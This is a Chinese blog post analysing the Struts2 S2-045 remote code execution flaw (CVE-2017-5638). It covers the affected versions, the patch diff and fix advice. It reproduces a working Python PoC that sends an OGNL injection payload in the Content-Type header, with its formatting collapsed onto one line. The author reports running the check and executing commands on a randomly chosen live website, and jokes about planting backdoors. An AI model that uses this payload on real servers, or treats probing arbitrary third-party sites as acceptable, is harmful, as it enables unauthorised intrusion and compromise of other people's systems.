【Web渗透】Struts2 s2-045漏洞浅析及利用

最后编辑时间: 2017-04-12

前言

3月6日,正直全国瞩目的两会进行时,貌似全国人民都在关注着国计民生,安全圈却引爆了一颗大大大炸弹!!Struts2又出漏洞啦!Struts2又出漏洞啦!Struts2又出漏洞啦!又又又又出漏洞啦!!看着表哥们一个个夜以继日地日站,那敢情就只有一个字可以形容—>爽!但是自己并不懂Java啊啊啊啊~这真是个悲伤的故事。。不过看到网上很多大牛们都放出了POC和分析,自己看了下,貌似一知半解,这里就随便谈一谈吧。

漏洞简介

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts2此前就经常爆出各种洞啊,不过这次的洞为例确实很严重啊,躺枪的一大一大片啊,并且还都是各种root啊!!!哇哇哇
漏洞编号:S2-045
CVE编号:CVE-2017-5638
漏洞类型:远程代码执行
漏洞级别:高危
漏洞风险:黑客通过利用漏洞可以实现远程命令执行。
影响版本:struts2.3.5 – struts2.3.31 , struts2.5 – struts2.5.10

漏洞分析

恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。Struts2默认处理multipart报文的解析器是jakarta,然而这个组件出现了问题。基于Jakarta(Jakarta Multipart parser)插件的文件上传功能,恶意攻击者可以精心构造Content-Type的值发起攻击。
由于对Java还不熟,这里搬来网上的详细分析:
通过版本比对定位漏洞原因:
1.coresrcmainjavaorgapachestruts2dispatchermultipartMultiPartRequestWrapper.java
2.coresrcmainjavaorgapachestruts2dispatchermultipartJakartaMultiPartRequest.java
3.coresrcmainjavaorgapachestruts2dispatchermultipartJakartaStreamMultiPartRequest.java
三个文件修改内容相同,加固方式对用户报错加了条件判断。

 
if (LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null, new Object[0]) == null) {
return LocalizedTextUtil.findText(this.getClass(), "struts.messages.error.uploading", defaultLocale, null, new Object[] { e.getMessage() });
} else {
return LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale, null, args);
}

 

漏洞利用

网上扒的一个表哥的检测脚本:

#!/usr/bin/env python#coding:utf8#code by fuck@0day5.comimport sysimport requestsrequests.packages.urllib3.disable_warnings() def poccheck(url):    result = False    header = {        'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',        'Content-Type':"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println(88888888-23333+1222)).(#o.close())}"    }    try:        response = requests.post(url,data='',headers=header,verify=False,allow_redirects = False)        if response.content.find("88866777")!=-1:            result = url+" find struts2-45"    except Exception as e:        print str(e)        pass    return result if __name__ == '__main__':    if len(sys.argv) == 2:        print poccheck(sys.argv[1])        sys.exit(0)    else:        print ("usage: %s http://www.xxxxx.com/vuln.action" % sys.argv[0])        sys.exit(-1)

下面是在晚上随便找了个站
检测

执行命令

当然种个马啦插个后门啦什么的留作后续之用啊之类的我没去尝试,没干过坏事,不懂得套路啊,害怕屁股擦不干净。。。

影响范围

Struts 2.3.5 - Struts 2.3.31
Struts 2.5 - Struts 2.5.10

漏洞修复

更新版本,或者直接删除commons-fileupload-x.x.x.jar文件,暂时禁用文件上传。

请在下方留下您的评论.加入TG吹水群